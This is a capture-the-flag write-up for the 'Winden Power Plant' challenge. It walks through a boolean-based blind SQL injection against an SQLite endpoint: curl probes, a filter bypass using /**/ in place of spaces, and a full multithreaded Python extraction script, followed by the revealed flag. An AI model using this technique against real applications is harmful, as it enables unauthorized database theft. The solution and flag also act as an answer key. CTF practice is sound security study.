← Back to CRACKON CTF

WINDEN POWER PLANT

A Blind Boolean SQL Injection challenge in SQLite. Bypass space filters and dump hidden archives in parallel.

Tools Used

PythoncURLBlind SQLiSQLite

Overview

Access to the internal power plant archives is restricted. We must exploit a boolean-based blind SQL injection vulnerability in an SQLite backend to dump the database schema and find the flag.

Reconnaissance

Fuzzing URL paths revealed a vulnerable endpoint at /profile:

curl -s "https://web2.crack-on.live/profile?id=1"   # -> "User exists"
curl -s "https://web2.crack-on.live/profile?id=999" # -> "User not found"

Testing for standard SQLi payloads showed spaces were filtered. However, we bypassed the filter using SQL comment notation /**/:

curl -sG "https://web2.crack-on.live/profile" --data-urlencode "id=1/**/AND/**/1=1" # -> "User exists"
curl -sG "https://web2.crack-on.live/profile" --data-urlencode "id=1/**/AND/**/1=2" # -> "User not found"

This confirmed a Boolean-based blind SQL injection. Furthermore, using typeof(1)='integer' confirmed that the database engine in use is SQLite.

Exploitation Strategy

To exploit this efficiently, we wrote an automated Python script that utilizes binary search to check the length of strings and ThreadPoolExecutor to extract individual character ASCII values in parallel.

First, we enumerated the database tables. We found a few tables: users, products, flag, system_logs, admin_backup, and system_archive.

Although flag and admin_backup seemed promising, they were empty decoy tables. Probing the columns of system_archive revealed the target column flag:

system_archive schema -> id, notes, flag

Finally, we dumped the contents of the flag column from system_archive to retrieve the flag.

Solution Code

import requests
from concurrent.futures import ThreadPoolExecutor

BASE = "https://web2.crack-on.live/profile"
S = requests.Session()

def ask(condition):
    r = S.get(BASE, params={"id": f"1/**/AND/**/{condition}"})
    return "exists" in r.text

def get_length(query):
    lo, hi = 1, 500
    while lo < hi:
        mid = (lo + hi) // 2
        if ask(f"length(({query}))>{mid}"): lo = mid + 1
        else: hi = mid
    return lo

def extract_char(args):
    query, i = args
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if ask(f"unicode(substr(({query}),{i},1))>{mid}"): lo = mid + 1
        else: hi = mid
    return i, chr(lo)

def extract(query):
    length = get_length(query)
    result = ['?'] * length
    with ThreadPoolExecutor(max_workers=20) as ex:
        for i, char in ex.map(extract_char, [(query, i) for i in range(1, length+1)]):
            result[i-1] = char
    return ''.join(result)

# Dump the flag from system_archive table
flag = extract("SELECT/**/group_concat(flag)/**/FROM/**/system_archive")
print(f"Flag: {flag}") # CrackOn{Sic_Mundus_Creatus_Est_SQLi_83}

Flag

CrackOn{Sic_Mundus_Creatus_Est_SQLi_83}